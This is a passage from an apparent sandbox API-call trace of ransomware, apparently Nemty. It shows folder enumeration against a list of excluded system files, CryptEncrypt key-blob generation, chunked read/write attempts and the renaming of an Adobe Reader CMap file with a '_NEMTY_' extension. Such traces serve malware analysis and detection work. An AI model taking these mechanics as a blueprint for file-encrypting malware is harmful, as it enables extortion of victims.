hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.177] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBpc-EUC", cAlternateFileName="AD2E3A~1")) returned 1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2=".") returned 1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="..") returned 1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="...") returned 1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="windows") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="$RECYCLE.BIN") returned 1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="rsa") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="NTDETECT.COM") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="ntldr") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="MSDOS.SYS") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="IO.SYS") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="boot.ini") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="boot.ini") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="AUTOEXEC.BAT") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="ntuser.dat") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="desktop.ini") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="CONFIG.SYS") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="RECYCLER") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="BOOTSECT.BAK") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="bootmgr") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="programdata") returned -1 [0199.177] lstrcmpiW (lpString1="Adobe-GB1-GBpc-EUC", lpString2="appdata") returned -1 [0199.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0199.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBpc-EUC", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0199.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBpc-EUC", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-GBpc-EUC", lpUsedDefaultChar=0x0) returned 18 [0199.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0199.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBpc-EUC", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0199.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBpc-EUC", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-GBpc-EUC", lpUsedDefaultChar=0x0) returned 18 [0199.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0199.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0199.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0199.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBpc-EUC", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0199.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBpc-EUC", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-GBpc-EUC", lpUsedDefaultChar=0x0) returned 18 [0199.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0199.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0199.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBpc-EUC", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0199.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBpc-EUC", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-GBpc-EUC", lpUsedDefaultChar=0x0) returned 18 [0199.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0199.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0199.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0199.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0199.178] Sleep (dwMilliseconds=0x5) [0199.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a5dd8b0, dwHighDateTime=0x1d561e8)) [0199.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a5dd8b0, dwHighDateTime=0x1d561e8)) [0199.179] GetLastError () returned 0x5 [0199.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0199.179] GetLastError () returned 0x5 [0199.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0199.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0199.179] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0199.179] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0199.179] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0199.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0199.179] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="vcVBH5+0y9t1AkhCbWkPSGmhp3lCql71uA3BjVLqCGjU1SvVseO9zZcPBxNhCMGC\r\nooYNJ4iGvy+81rfxNPoNlExY40RDXy+zY1i9Qys06ZlPbsFGSoggzf3pfNpbeEqZ\r\nPE0JDzgSGQcEkM+lS3FxI9lKjvj/ZCJZ+yujNwMp534XOrWDbg2BzF9rB4tdORWa\r\nOauUSpp16lsDQLzCkFB41as4Ibs0ARL6vMMPBb4sI1Hes8x4T7ZE2rYoT35eD1aW\r\n5yyMLCoyw/dwlQuDcSOwp/5/jgedP4QnVb0VnYd3UrOfqoxSxuZJ8ndZDPAevzOJ\r\nOn++i8xjdG+2b3OtSeY1Wg==\r\n", pcchString=0x653e91c) returned 1 [0199.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0199.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0199.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0199.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0199.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0199.179] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbpc-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0199.179] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0199.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0199.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0199.285] CloseHandle (hObject=0xffffffff) returned 0 [0199.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0199.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0199.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0199.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0199.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0199.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0199.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0199.286] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbpc-euc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbpc-euc._nemty_kgobjgd_")) returned 0 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.286] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-CID", cAlternateFileName="AD43DF~1")) returned 1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2=".") returned 1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="..") returned 1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="...") returned 1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="windows") returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="$RECYCLE.BIN") returned 1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="rsa") returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="NTDETECT.COM") returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="ntldr") returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="MSDOS.SYS") returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="IO.SYS") returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="boot.ini") 